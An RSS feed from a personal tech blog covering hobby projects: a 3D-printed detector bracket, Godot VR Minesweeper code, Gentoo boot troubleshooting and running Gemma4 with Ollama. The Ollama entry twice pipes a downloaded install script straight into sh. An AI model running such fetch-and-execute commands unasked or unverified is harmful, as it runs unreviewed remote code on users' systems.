<?xml version="1.0"?>
<rss version="2.0">
<channel>
<title>f-log just another web log</title>
<link>http://www.jumpstation.co.uk/flog/flog.html</link>
<description>Random ramblings on various subjects</description>
<language>en</language>
<generator>Dodgy bash scripts</generator>
<managingEditor>rsseditorspam@jumpstation.com</managingEditor>
<webMaster>rsswebmasterspam@jumpstation.com</webMaster>
<lastBuildDate>Tue, 14 Apr 2026 21:29:38 BST</lastBuildDate>
<item>
<title>not a normal approach</title>
<pubDate>Tue, 14 Apr 2026 21:28:01 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2026.html#p140420262128</link>
<description>
  <h1>
   Not a normal approach
  </h1>
  <p>
   I didn't know I had a Carbon Monoxide detector until it started chirping (loudly). It was tucked inside the cupboard with the boiler and I took a while to locate it. The beep was so loud that pin pointing its location was great fun.
  </p>
  <p>
   <img alt="photo carbon monoxide detector old" src="/home/rednuht/projects/flog/images/carbonmonoxidedetector-old.jpg" title="photo carbon monoxide detector old"/>
  </p>
  <p>
   No big problem. These things are designed to be changed every ten years.
  </p>
  <p>
   So I went and bought a new one, that in itself is long story, but it is not particularly interesting.
  </p>
  <p>
   <img alt="photo carbon monoxide detector new" src="/home/rednuht/projects/flog/images/carbonmonoxidedetector-new.jpg" title="photo carbon monoxide detector new"/>
  </p>
  <p>
   Went to hang it on the screws the last one was on and ... it does not fit!
  </p>
  <p>
   The screw are slightly further apart and the screws are a different size and would not fit even if they were the same distance apart.
  </p>
  <p>
   <img alt="photo carbon monoxide detector new and old" src="/home/rednuht/projects/flog/images/carbonmonoxidedetector-new-old.jpg" title="photo carbon monoxide detector new and old"/>
  </p>
  <p>
   Now, a normal person might have
  </p>
  <ol>
   <li>
    Pulled out the old screws and drilled in new ones
   </li>
   <li>
    Mounted it somewhere else
   </li>
   <li>
    Glued it on
   </li>
  </ol>
  <p>
   but
  </p>
  <ol>
   <li>
    The new screws are designed for walls and the mounting was the inside of a cupboard. So even if I had wanted to, I would have need to purchase the exact size and length of screw for the job.
   </li>
   <li>
    nah
   </li>
   <li>
    and then what in ten years time?
   </li>
  </ol>
  <p>
   Instead I turned to Blender and designed and printed a 3D bracket.
  </p>
  <p>
   <img alt="photo carbon monoxide detector brackets" src="/home/rednuht/projects/flog/images/carbonmonoxidedetector-brackets.jpg" title="photo carbon monoxide detector brackets"/>
  </p>
  <p>
   The first one (using up the last of my orange filament) showed the holes 2mm too close. As the holes were procedural, I could easily shift them and print again. This time with the pegs for the new detector.
  </p>
  <p>
   The result was just off. The screw holes were still 1mm off (I could bend it to fit but I needed another print anyway) and the pegs were the exact size of the new holes which was too tight.
  </p>
  <p>
   The final result worked beautifully. The new detector snapped onto the pegs and the whole assembly then hung on the old screws!
  </p>
  <p>
   As no one has this exact problem (detector models) and would never look for a solution, I am not going to post the files. But this does show the value of owning a 3D printer if you are so inclined to do things the difficult/fun way.
  </p>
</description>
</item>
<item>
<title>tentacular</title>
<pubDate>Tue, 14 Apr 2026 21:07:12 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2026.html#p140420262107</link>
<description>
  <h1>
   One hundred percent completion
  </h1>
  <p>
   I have a bit of a problem with games, in that I
   <strong>
    need
   </strong>
   100% completion.
  </p>
  <p>
   Well I got it on Tentacular on the Quest 2.
  </p>
  <p>
   <img alt="tentacular screen shot" src="/home/rednuht/projects/flog/images/tentacular.jpg" title="tentacular screen shot"/>
  </p>
  <p>
   A strange experience for sure, but it was on offer and I am a sucker for a bargain.
  </p>
  <p>
   You are a two tentacaled creature that needs to complete a number of diverse tasks. Somewhat hampered by the floppy and cumbersome arms.
  </p>
  <p>
   There is a main story arc and there are side missions. From saving a town from a volcano to stacking boxes, to completing a complex 007 mission with a team of helpers.
  </p>
  <p>
   The diversity keeps you coming back and some of the side missions could be complete games in their own right. One has you posting signs to get people to an exit in a kind of Lemmings approach. Another, you build a complex road system and send trucks with caravans attached around the branching circuit. That last one allows you too much freedom. In that, I created a complex ramp system that mostly worked to launch the vehicles over another road. Problem was that the correct solution was to send them through the targets in the other direction. Oops.
  </p>
  <p>
   It is not perfect and the main obstacle is yourself controlling flailing arms. But I did come across a bug where it wanted you to pick up a sign post and there were none. Only when I went Kraken on the map and destroyed a number of buildings did it turn up. This was not a normal way to approach the missions.
  </p>
  <p>
   There is something about a sandbox game that allows you to pick up sharks and chuck them about that seals the deal. And I do not think the developers wanted that. The sharks are a non grabable material, but you can still scoop them, if you are so inclined.
  </p>
</description>
</item>
<item>
<title>the gemma ollama rabbit hole</title>
<pubDate>Sat, 11 Apr 2026 11:18:03 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2026.html#p110420261118</link>
<description>
  <h1>
   Gemma4 and the self-serving rabbit hole
  </h1>
  <p>
   Gemma4 is new (as of this week) LLM that is open source and freely downloadable.
  </p>
  <p>
   We have been using AI at work (Cursor) and on the whole it is a net positive. Though I could tell you a number of stories where it went off the rails and caused unexpected problems.
  </p>
  <p>
   As employees we have a monthly budget of tokens and I keep hitting mine. I decided to try and run a local LLM and found Ollama and Gemma4.
  </p>
  <p>
   The work laptop has 32G of RAM, but conversely only has a discrete GPU (no NVIDIA or AMD graphics processor).
  </p>
  <p>
   It was fairly painless. Download and install Ollama
  </p>
  <pre><code>curl -fsSL https://ollama.com/install.sh | sh
</code></pre>
  <p>
   then download the model
  </p>
  <pre><code>ollama pull gemma4:e4b
</code></pre>
  <p>
   That model was a 9.6G download and has 4 billion parameters
  </p>
  <p>
   then run it
  </p>
  <pre><code>ollama run gemma4:e4b
</code></pre>
  <p>
   takes a while to start up and then it takes 5-6 minutes to respond to anything. This is not going to replace my Cursor work subscription.
  </p>
  <p>
   But, it is a full LLM and in my probing, very capable. Returning long detailed thinking statements followed by valuable responses.
  </p>
  <p>
   So, not practical, but interesting.
  </p>
  <p>
   My main desktop machine that I have had since 2019 has only got 16G RAM but crucially it has a NVIDIA 1660Ti with 6G GDDR6 RAM. Would it run any better on that?
  </p>
  <p>
   And I fell down a rabbit hole.
  </p>
  <ul>
   <li>
    Find a host.
   </li>
  </ul>
  <p>
   As I had used Ubuntu at work I opted for Ubuntu server and a 64G USB drive. I did not want to pollute my current setup.
  </p>
  <ul>
   <li>
    Install the host.
   </li>
  </ul>
  <p>
   This was a lot harder than expected. To make the USB drive available to VirtualBox I had to create a raw VMDK file that mapped to it for low level access. Then Boot from an Ubuntu Server ISO. (and telling it to not boot any hard drives it found)
  </p>
  <p>
   It should have been easy, but it was so slow. Turns out the default CD ROM settings in VirtualBox use IDE and moving it to SATA creates a HUGE speed up. Writing to the USB in the VM was also slow, but that was expected.
  </p>
  <ul>
   <li>
    <p>
     First time around (had to wipe the drive and try again). The Ubuntu Server defaults wanted to create a Logical Volume on the USB, but that  only allocates half the space. This on top of installing the boot partition as non UEFI. Neither were things I noticed.
    </p>
   </li>
   <li>
    <p>
     Install completed and rebooted the VM.After 20 minutes of waiting realised it was just plain stuck. A quick Alt + F4 did show a login and I was able to install Ollama and Gemma4. Very slowly.
    </p>
   </li>
   <li>
    <p>
     Reboot to physical hardware.
    </p>
   </li>
  </ul>
  <p>
   I wasn't expecting to run the LLM in the VM. Though I did try and that produced lots of other headaches. Mainly due to VirtualBox disconnecting the virtual networking cable (I am not kidding) when setting up SSH port forwarding.
  </p>
  <p>
   My motherboard did not see the drive and no amount of tinkering in the BIOS settings would get it to show.
  </p>
  <p>
   I found the the drive was not set with UEFI support and the cure was worse than the disease. Spent hours and hours trying to get the boot partition resized and set up. Eventually gave up and wiped the drive and this time set the VM to use UEFI mode (that is detected by the Ubuntu Server installer) and selected NO to creating a logical volume.
  </p>
  <ul>
   <li>
    Install the models
   </li>
  </ul>
  <p>
   Finally got the machine to boot and immediately hit strange and very confusing networking issues. Not going to detail here, but somehow it was hung up on the networking setup the VM had and was having a hissy fit at my real hardware.
  </p>
  <p>
   Run
  </p>
  <pre><code>curl -fsSL https://ollama.com/install.sh | sh
sudo ubuntu-drivers install
ollama pull gemma4:e4b
ollama pull gemma4:e2b
sudo apt install nvidia-cuda-toolkit
reboot
nvidia-smi
</code></pre>
  <p>
   You might think that a 2 billion parameter model would be half the size of a 4 billion, but no, it was still 7.2G. The
   <em>
    ubuntu-drivers
   </em>
   and
   <em>
    nvidia-cuda-toolkit
   </em>
   was also huge, with not clear indication just how big they were or how long they would take. The both took ages!
  </p>
  <p>
   But I now had the models installed and GPU accelerated!
  </p>
  <p>
   When first starting or switching models the response time was
  </p>
  <ul>
   <li>
    gemma4:e4b 1m21s - 1m25s
   </li>
   <li>
    gemma4:e2b 56s - 59s
   </li>
  </ul>
  <p>
   but running the same model afterwards was much quicker
  </p>
  <ul>
   <li>
    gemma4:e4b 15s - 18s
   </li>
   <li>
    gemma4:e2b 8s - 9s
   </li>
  </ul>
  <p>
   that was multiple tests with the prompt "I am an llm", which garnered a much more thoughtful response from Gemma4:e4b
  </p>
  <p>
   and one final note. I disabled Swap and set to FSTAB to use
   <code>
    noatime
   </code>
   but the drive was still quite slow, When removing the drive it was also Hot, well, warm to the touch, and unexpected.
  </p>
  <p>
   The Ollama instance exposes an API server, so I might try and run this during the work day and connect to it remotely. Another rabbit hole.
  </p>
</description>
</item>
<item>
<title>reusable button</title>
<pubDate>Sun, 05 Apr 2026 22:46:02 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2026.html#p050420262246</link>
<description>
  <h1>
   Reusable button
  </h1>
  <p>
   The further I get with the Godot Minesweeper VR game the more I find I need to create proper solutions.
  </p>
  <p>
   You can get surprisingly far with scrappy
   <em>
    it works
   </em>
   code, but at some point you realise that you don't just need clean reusable code you
   <em>
    crave
   </em>
   it.
  </p>
  <p>
   This was a
   <em>
    quick
   </em>
   attempt at a VR Button helper class to manage the three states or,
   <strong>
    Hover
   </strong>
   ,
   <strong>
    Un-Hover
   </strong>
   and
   <strong>
    Hit
   </strong>
   .
  </p>
  <p>
   You pass it the Mesh and the three materials that correspond to the different states. Very easy and straightforward, but I needed to complicate it :D
  </p>
  <p>
   I wanted the user to see the button have a
   <em>
    cool down
   </em>
   state after hitting it. This had to allow the user to re-interact with the button before the
   <em>
    cool down
   </em>
   ended.
  </p>
  <pre><code>copy_colour_from_material_override(mesh_target.material_override, mat_tweening)
mesh_target.material_override = mat_tweening

if _tween &amp;&amp; _tween.is_running():
    _tween.kill()
var trans = Tween.TRANS_QUART
var easing = Tween.EASE_IN
_tween = mesh_target.create_tween()
_tween.set_trans(trans).set_ease(easing).tween_property(
    mat_tweening,
    "albedo_color",
    mat_selected.albedo_color,
    duration
)
_tween.finished.connect(func(): is_active = false)
</code></pre>
  <p>
   Everything updates the
   <em>
    material_override
   </em>
   which was where I hit a number of problems. First was that the
   <em>
    Tween
   </em>
   has to be added to the scene tree. The fix was easy, run the
   <code>
    create_tween()
   </code>
   on the passed Mesh. Then I had multiple instances where the animation would play and update the colour but would never work again, or would affect all the instances where the material was used in the game world.
  </p>
  <p>
   The result was creating a special
   <em>
    mat_tweening
   </em>
   material and copying the colour information. Then externalising the
   <em>
    Tween
   </em>
   instance so it could be
   <em>
    killed
   </em>
   and restarted.
  </p>
  <p>
   So I have a nice
   <strong>
    VrButton
   </strong>
   and
   <strong>
    VrRaycast
   </strong>
   to handle the interactions and visual state of buttons. Not sure I am going to have any more, just need to set the difficulty.
  </p>
</description>
</item>
<item>
<title>a and e</title>
<pubDate>Sun, 05 Apr 2026 22:26:53 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2026.html#p050420262226</link>
<description>
  <h1>
   A and E
  </h1>
  <p>
   There are not many personal entries in this Flog, but this felt log worthy.
  </p>
  <p>
   For
   <em>
    reasons
   </em>
   I was getting my blood taken on 1st April. It did not go well and I ended up talking an ambulance to Accident and Emergency. Was there for four hours hooked up to a drip.
  </p>
  <p>
   The
   <em>
    reasons
   </em>
   are surprisingly long and twisty and include failing to draw blood on my own and having to pay someone else to do it for me.
  </p>
  <p>
   This is number three. 1st was getting my Tattoo redone last year, then there was the aforementioned blood drawing attempt and now there is loss of consciousness. All three relate to my right arm, but that might be coincidence.
  </p>
</description>
</item>
<item>
<title>tween to here and there</title>
<pubDate>Mon, 30 Mar 2026 22:09:53 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2026.html#p300320262209</link>
<description>
  <h1>
   Tween to here and there
  </h1>
  <p>
   I needed to animate an object from here to there in Godot and it was surprisingly easy.
  </p>
  <pre><code>create_tween().tween_property(myObject, "global_position", target, duration)
</code></pre>
  <p>
   Where
   <code>
    target
   </code>
   is a Vector3 defining the destination location and
   <code>
    duration
   </code>
   is the number of seconds.
  </p>
  <p>
   In this basic form it is a linear animation, but you can make it so much more exciting using
  </p>
  <pre><code>tween.set_trans(Tween.TRANS_SINE)
tween.set_ease(Tween.EASE_IN_OUT)
</code></pre>
  <p>
   e.g.
  </p>
  <pre><code>    create_tween().set_trans(Tween.TRANS_SINE.set_ease(Tween.EASE_IN_OUT)).tween_property(myObject, "global_position", target, duration)
</code></pre>
  <p>
   I had far too much fun, and wasted so much time trying different transitions and easing options :D
  </p>
  <p>
   There is a wonderful
   <a href="https://www.reddit.com/r/godot/comments/14gt180/all_possible_tweening_transition_types_and_easing/#lightbox">
    Reddit post
   </a>
   where there is a video of all the Tweening transition and easing types.
  </p>
</description>
</item>
<item>
<title>there is looping and there is looping</title>
<pubDate>Sun, 29 Mar 2026 21:01:58 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2026.html#p290320262101</link>
<description>
  <h1>
   There is looping and there is looping
  </h1>
  <p>
   Very quick note.
  </p>
  <p>
   When using
   <code>
    mplayer
   </code>
   to play a movie file on repeat use
   <code>
    --loop 0
   </code>
   not
   <code>
    --loop 0
   </code>
  </p>
  <p>
   I am used to linux commands expecting the file name or url to go last, after the flags, parameters, arguments, values etc
  </p>
  <p>
   Like
  </p>
  <pre><code>mplayer --loop 0 loopme.mp4
</code></pre>
  <p>
   and technically that works, the movie does start playing again after it has finished, but there is a side effect. It reloads the file again.
  </p>
  <p>
   This does not seem so bad until you want to use another app on another screen and
   <code>
    mplayer
   </code>
   reloads the file
   <strong>
    and
   </strong>
   recreates the window on the current screen, even though you carefully placed it on the other one.
  </p>
  <p>
   What you need is the cunning
  </p>
  <pre><code>mplayer loopme.mp4 --loop 0
</code></pre>
  <p>
   which in fact just loops the video in that same window.
  </p>
  <p>
   I had to re-read the man page multiple times until I understood this is what it was explaining.
  </p>
</description>
</item>
<item>
<title>there is a hole in my world</title>
<pubDate>Sat, 28 Mar 2026 22:32:18 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2026.html#p280320262232</link>
<description>
  <h1>
   There is a hole in my world
  </h1>
  <p>
   Not only is there a hole, it is an invisible hole!
  </p>
  <p>
   <img alt="godot level with hole" src="/home/rednuht/projects/flog/images/duck-duck-mine-settings-hole.png" title="godot level with hole"/>
  </p>
  <p>
   Took me ages to realise it was the misalignment of the walls behind everything that was the problem.
  </p>
  <p>
   Normally those blue outlines are not there, you have to enable CollisionShapes in the Debug menu.
  </p>
  <p>
   What I was actually trying to do was create a reusable script that took callbacks for an object being selected, hit and unselected. Where callbacks in Godot are Callables.
  </p>
  <p>
   Eventually it worked perfectly, but to start with I could not understand why it would only deselect an object sometimes, but all the original objects using individual code always worked. Well, it was the fact that the new objects using the new script were higher up and the when I lifted the raycast laser beam it went off into the sky and hit nothing and when I did the same to the volume or the wrists it would hit the wall behind them, triggering a nice "I have hit something else" signal.
  </p>
  <p>
   The settings in that image is a bit of a mess, but it is part of the plan. The new boxes with numbers are just place holders. Just need to put some more time in :D
  </p>
</description>
</item>
<item>
<title>muting the imutable ducks</title>
<pubDate>Mon, 23 Mar 2026 22:48:24 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2026.html#p230320262248</link>
<description>
  <h1>
   Muting the immutable the duck settings
  </h1>
  <p>
   Although there is no background sound or effects, it is important that you can change the volume, or it will be.
  </p>
  <p>
   Whatever, I added selectable volume with icons and mute options.
  </p>
  <p>
   <img alt="vr screenshot of settings volume" src="/home/rednuht/projects/flog/images/duck-duck-mine-settings-volume.png" title="vr screenshot of settings volume"/>
  </p>
  <p>
   The volume settings are all drawn dynamically and run in
   <em>
    tool
   </em>
   mode in the editor, so I can see them drawn even without the game running.
  </p>
  <p>
   You can see the wrist mini-map selectors underneath
  </p>
  <p>
   Next is the theme selectors including the difficulty level.
  </p>
</description>
</item>
<item>
<title>starting of the duck settings</title>
<pubDate>Sat, 21 Mar 2026 12:25:17 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2026.html#p210320261225</link>
<description>
  <h1>
   The starting of the duck settings
  </h1>
  <p>
   With my
   <a href="Mar2026.html#p170320262249">
    linux machine fully operational again
   </a>
   , I was able to continue some VR work.
  </p>
  <p>
   Next section to tackle is the
   <em>
    Settings
   </em>
   screen that appears when you start the game.
  </p>
  <p>
   I started with a void, then added a platform to see if I was stationary and then realised that I need to ensure the player is to pointing in the right direction.
  </p>
  <p>
   It is surprising how many VR settings screens have nothing behind the player and expect them to realise this and turnaround.
  </p>
  <p>
   Not wanting to keep people guessing, I devised a simple mesh arrow in Blender and created a sort of neon illumination on-off animation that pointed to the left and then duplicated it and rotated it to point to the right.
  </p>
  <p>
   Now if you start pointing in the wrong direction you see one or two arrows showing you the way you should be looking.
  </p>
  <p>
   The animation in Godot is really easy except for one point. You create an
   <em>
    AnimationPlayer
   </em>
   and then add tracks to it. These tracks hold key-frames for anything in scene. Just click the little key that appears next to a property to save a new key-frame. The tricky part is making the animation run in the game, you have to have a script, which seems a little overkill and only needs to call
  </p>
  <pre><code>$AnimationPlayer.play("this-way")
</code></pre>
  <p>
   where "this-way" is the name of my animation.
  </p>
  <p>
   The only settings implemented so far is the mini-maps for each arm.
  </p>
  <p>
   There were some screenshots but they looked awful in low resolution and I am not trying to capture them again. What with balancing the Headset to make sure the view is looking the right way, to holding a Controller pointing to an object to show the selected state, to trying to hit PrtSrn on the keyboard and then manage the capture!
  </p>
</description>
</item>
<item>
<title>no booting for you</title>
<pubDate>Tue, 17 Mar 2026 22:49:58 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2026.html#p170320262249</link>
<description>
  <h1>
   There was a problem
  </h1>
  <p>
   This is a weird one. My Gentoo Linux machine appeared to hang during boot and never got to the login prompt.
  </p>
  <p>
   I had updated the kernel almost three weeks prior, so it could not be that. I had updated the installed packages using
   <code>
    emerge
   </code>
   but there was nothing particularly interesting in the large number of affected packages.
  </p>
  <h2>
   Skip forward to the understanding of the problem and then the fix.
  </h2>
  <p>
   It wasn't hung. Instead the graphics hand-off from the initial boot process had failed. The meant that I
   <strong>
    could
   </strong>
   just log in using the keyboard! and then run
   <code>
    startx
   </code>
   and get then the full GUI would load and everything was fine.
  </p>
  <p>
   The fix was fairly straightforward, install the latest kernel 6.18.12
  </p>
  <h2>
   Diagnosing the fake problem
  </h2>
  <p>
   The most worrying part of the whole situation was where the perceived hang was occurring!
  </p>
  <pre><code>Logical Volume Manager
</code></pre>
  <p>
   But it was marked successful.
  </p>
  <p>
   The kernel was not hung because it responded to magic key presses of ALT+SYSREQ reisub
  </p>
  <p>
   Where REISUB is
  </p>
  <ul>
   <li>
    R switch to Raw keyboard input
   </li>
   <li>
    E send SIGTERM to all processes
   </li>
   <li>
    I send SIGKILL to anything left
   </li>
   <li>
    S sync drive writes (flush buffers)
   </li>
   <li>
    U unmount drives
   </li>
   <li>
    B reBoot
   </li>
  </ul>
  <p>
   To get access to the system I would interrupt the Grub boot and edit the kernel line to append
  </p>
  <pre><code>pci=noacpi
</code></pre>
  <p>
   This got me to the login prompt but then
   <code>
    startx
   </code>
   would fail due to NVidia drivers not loading.
  </p>
  <p>
   This led me to try and "fix" the display drivers
  </p>
  <h2>
   Side quest
  </h2>
  <p>
   At this point I started to try and stabilise the system. Starting with making sure all packages were up to date ... and there was my nemesis
  </p>
  <pre><code>net-libs/webkit-gtk
</code></pre>
  <p>
   <code>
    Webkit-gtk
   </code>
   used to be a PITA and take a few hours to install, then it ran out of memory after running for hours. The fix was to switch out of X to a virtual terminal and dedicate CPU cores with
  </p>
  <pre><code>MAKEOPTS="-j6 -l6" emerge -av =net-libs/webkit-gtk-2.50.5-r410
</code></pre>
  <p>
   which would now take 8+ hours.
This time there was a slot conflict (which I did not notice). The meant that it was constantly reinstalling different versions of itself, each taking 8+ hours!!
The fix for that was to install
   <code>
    CCache
   </code>
   This cached any build artefacts, which stopped the 8 hour rebuilds and allowed both versions to get installed.
  </p>
  <h2>
   Another side quest
  </h2>
  <p>
   AI believed the issue was caused by my motherboard firmware being out of date, which it was, but updating it did not fix my problem. The fun being that AI  kept hallucinating the location of the file to download and as I did not have a GUI for a browser it would have been really handy to just run
   <code>
    wget
   </code>
   with the right url.
In the end I downloaded on my phone and the transferred that to my PC and then that to a USB drive.
The firmware did give me extra options for "rebar" but it did not help the boot issue.
  </p>
  <p>
   OK, then I was trying all sorts of kernel parameters in Grub
  </p>
  <pre><code>pcie_aspm=off video=efifb:reprobes vga=current console=tty1
</code></pre>
  <p>
   and all variations of
  </p>
  <h2>
   Fixing the real problem with a fake fix
  </h2>
  <p>
   Finally realising that the most likely cause was due to the Nvidia drivers updating and conflicting with the kernel, I rebuilt the kernel.
I was paying attention to the kernel flags around frame-buffer support, so when I saw
  </p>
  <pre><code>CONFIG_FB_NVIDIA

  This driver supports graphics boards with the nVidia chips, TNT
  and newer. For very old chipsets, such as the RIVA128, then use
  the rivafb.
  Say Y if you have such a graphics board.
</code></pre>
  <p>
   I was "
   <strong>
    YES!
   </strong>
   " that is me, this is the solution to my problems. It was not and it caused the boot process to utterly fail almost instantly and the Sysreq keys did
   <strong>
    NOT
   </strong>
   work!
  </p>
  <p>
   Finally set CONFIG_FB_NVIDIA to N and rebuilt the kernel. Now it boots correctly, I can log in and the GUI loads!
  </p>
  <h2>
   Changing the world
  </h2>
  <p>
   To avoid anyone else hitting the CONFIG_FB_NVIDIA issue I investigated why it had failed so utterly.
  </p>
  <p>
   Turns out it is old, very very old and has not been relevant for many years. The description is dangerously wrong.
  </p>
  <p>
   So I created a patch to the Linux kernel maintainers to get it fixed for future generations.
  </p>
  <p>
   That is still on going, but I will have an post about that eventually.
  </p>
</description>
</item>
<item>
<title>an ever expanding scoreboard</title>
<pubDate>Thu, 05 Feb 2026 22:06:45 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2026.html#p050220262206</link>
<description>
  <h1>
   Ever expanding scoreboard
  </h1>
  <p>
   I needed a scoreboard object to embed my three digit display widget.
  </p>
  <p>
   <img alt="3 digit display widget" src="/home/rednuht/projects/flog/images/duck-duck-mine-win3d-theme_scoreboard_three_digits.png" title="3 digit display widget"/>
  </p>
  <p>
   But it would need to expand to the width of the game size being played...
  </p>
  <p>
   CSGs to the rescue!
  </p>
  <p>
   <strong>
    C
   </strong>
   onstructive
   <strong>
    S
   </strong>
   olid
   <strong>
    G
   </strong>
   eometry are basic building blocks on which you can execute boolean actions, such as Union, Subtract etc.
  </p>
  <p>
   I used a set of simple CSGBox3D objects under a CSGCombiner3D to define edits into the scoreboard, hollowing it out in the right places. I also used a couple of CSGBox3D objects to build up the from the hollow shell to where the smiley face sits.
  </p>
  <p>
   <img alt="scoreboard scaled to small" src="/home/rednuht/projects/flog/images/duck-duck-mine-win3d-theme_scoreboard_small.jpg" title="scoreboard scaled to small"/>
  </p>
  <p>
   Then in code using the
   <code>
    @tool
   </code>
   directive I handle the editor input value for size, recalculate the sizes and positions of these basic blocks and finally I
   <em>
    bake
   </em>
   the result and show it.
  </p>
  <p>
   Baking is important to stop Godot from constantly having to worry about the CGS objects changing and having to be recalculated.
  </p>
  <p>
   But here I hit a problem. Sometimes when I would change the size value the displays would move but the scoreboard would not change size!
  </p>
  <p>
   It turns out that the
   <em>
    bake
   </em>
   command
   <code>
    bake_static_mesh()
   </code>
   runs in the background and might not be finished by the time I apply the results.
The results being an ArrayMesh that has to be further applied to an actual MeshInstance3D.
  </p>
  <p>
   The fix was to call the function as deferred
   <strong>
    and
   </strong>
   await a single frame.
  </p>
  <pre><code>func game_grid_size_change(size: int):
    if size &lt; minSize:
        size = minSize
    position_displays(size)
    resize_scoreboard(size)
    call_deferred("bake_mesh")

func bake_mesh():
    var csgCombiner = get_node("CSGCombiner3D") as CSGCombiner3D
    await get_tree().process_frame
    var arrayMesh := csgCombiner.bake_static_mesh()
    var bakedMesh = get_node("BakedMesh") as MeshInstance3D
    bakedMesh.mesh = arrayMesh
    csgCombiner.visible = false
    bakedMesh.visible = true
</code></pre>
  <p>
   Now I have an infinitely scaling scoreboard!
  </p>
  <p>
   <img alt="scoreboard scaled to larger" src="/home/rednuht/projects/flog/images/duck-duck-mine-win3d-theme_scoreboard_large.jpg" title="scoreboard scaled to larger"/>
  </p>
  <p>
   The number on the left is the number of flags you have used against the number of mines, which is why it can be a minus number. The display on the right is a simple timer that counts up when playing and pauses at the end of the game.
  </p>
  <p>
   With this functionality working it feels like a real game to play!
  </p>
  <p>
   Next I need to just alter the smilie sprite frame to match if you have won or lost the game.
  </p>
  <p>
   Not sure if it is going to be possible to use the forth smiley, the worried face, for when you are in the process of removing a tile.
  </p>
</description>
</item>
<item>
<title>wayland is flashing me</title>
<pubDate>Sat, 31 Jan 2026 12:42:09 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2026.html#p310120261242</link>
<description>
  <h1>
   Wayland is flashing my screen ??
  </h1>
  <p>
   I think of my Gentoo setup as
   <strong>
    very
   </strong>
   stable, so it was a bit of a shock when the xfce4-terminal started flashing and disappearing today!
  </p>
  <p>
   A quick Google gave lots of generic "reinstall GFX drivers", but also there was "turn off the Compositing".
  </p>
  <p>
   I could not believe that was the issue and I haven't upgrade my kernel for a while, so ....
  </p>
  <p>
   One kernel rebuild later, confirmed Nvidia drivers are the latest and ... xfce4-terminal is flashing and disappearing !!!
  </p>
  <p>
   So I turned of composting and that knackered my taskbar. Another reboot and ... its working!
  </p>
  <p>
   <img alt="Compositor disabled screenshot" src="/home/rednuht/projects/flog/images/Screenshot_compositor_settings_2026-01-31_12-19-08.png" title="Compositor disabled screenshot"/>
  </p>
  <p>
   So what in this list caused such a big bang!
  </p>
  <pre><code>sec-keys/openpgp-keys-gentoo-release-20260125
dev-libs/libpipeline-1.5.8
sys-kernel/linux-firmware-20260110
sys-apps/locale-gen-3.10
dev-libs/openssl-3.5.5
dev-libs/libusb-1.0.29
kde-frameworks/extra-cmake-modules-6.22.0
dev-python/jaraco-functools-4.4.0
dev-python/jaraco-context-6.0.2
gui-libs/egl-wayland-1.1.21
media-libs/babl-0.1.118
kde-frameworks/kguiaddons-6.22.1
kde-frameworks/kwindowsystem-6.22.0
kde-frameworks/kconfig-6.22.0
kde-frameworks/ki18n-6.22.0
kde-frameworks/kcolorscheme-6.22.0
gui-libs/egl-gbm-1.1.3
gui-libs/egl-x11-1.0.4
kde-frameworks/kirigami-6.22.0
kde-frameworks/sonnet-6.22.0
kde-frameworks/breeze-icons-6.22.0
kde-frameworks/karchive-6.22.0
kde-frameworks/kwidgetsaddons-6.22.0
kde-frameworks/kiconthemes-6.22.0
dev-libs/libtasn1-4.21.0
app-crypt/gnupg-2.5.17
dev-ruby/prism-1.7.0
x11-drivers/nvidia-drivers-580.126.09
dev-libs/libnl-3.11.0
kde-frameworks/kcoreaddons-6.22.0
kde-frameworks/qqc2-desktop-style-6.22.0
dev-libs/jemalloc-5.3.0-r2
sys-apps/man-db-2.13.1
dev-games/godot-4.6
media-libs/gegl-0.4.66
</code></pre>
  <p>
   It's a trick question, I have no idea. There are so many things in that list that could be the culprit, but I like to think it was Wayland because it has caused so many problems with my work Ubuntu computer.
  </p>
</description>
</item>
<item>
<title>sweeping up after the minesweeper</title>
<pubDate>Sat, 24 Jan 2026 22:49:22 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2026.html#p240120262249</link>
<description>
  <h1>
   Sweeping up behind the minesweeper 3D
  </h1>
  <p>
   Sorted out the shadows and shading, looks much better now.
  </p>
  <p>
   <img alt="minesweeper vr screen shot windows 3d theme updated shading" src="/home/rednuht/projects/flog/images/duck-duck-mine-win3d-theme_flags_new.png" title="minesweeper vr screen shot windows 3d theme updated shading"/>
  </p>
  <p>
   Included a marker to map to show your location.
  </p>
  <p>
   <img alt="minesweeper vr screen shot windows 3d theme updated shading mines" src="/home/rednuht/projects/flog/images/duck-duck-mine-win3d-theme_mines_new.png" title="minesweeper vr screen shot windows 3d theme updated shading mines"/>
  </p>
  <p>
   I also started work on the score board.
  </p>
  <p>
   <img alt="godot three digit display" src="/home/rednuht/projects/flog/images/duck-duck-mine-win3d-theme_scoreboard_three_digits.png" title="godot three digit display"/>
  </p>
  <p>
   Created a sprite map of the numbers and quick script to pull apart a three digit value and display it.
  </p>
  <p>
   Need two of these. One for the timer counting up the seconds and a second to track the number of flags you have left place.
  </p>
</description>
</item>
<item>
<title>mine sweeper windows 3d theme added</title>
<pubDate>Mon, 19 Jan 2026 23:05:37 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2026.html#p190120262305</link>
<description>
  <h1>
   Mine Sweeper 3D
  </h1>
  <p>
   Created 3D meshes for mine sweeper VR and created a new theme.
  </p>
  <p>
   <img alt="minesweeper vr screen shot windows 3d theme flags" src="/home/rednuht/projects/flog/images/duck-duck-mine-win3d-theme_flags.jpg" title="minesweeper vr screen shot windows 3d theme flags"/>
  </p>
  <p>
   Left some debug bits on.
  </p>
  <p>
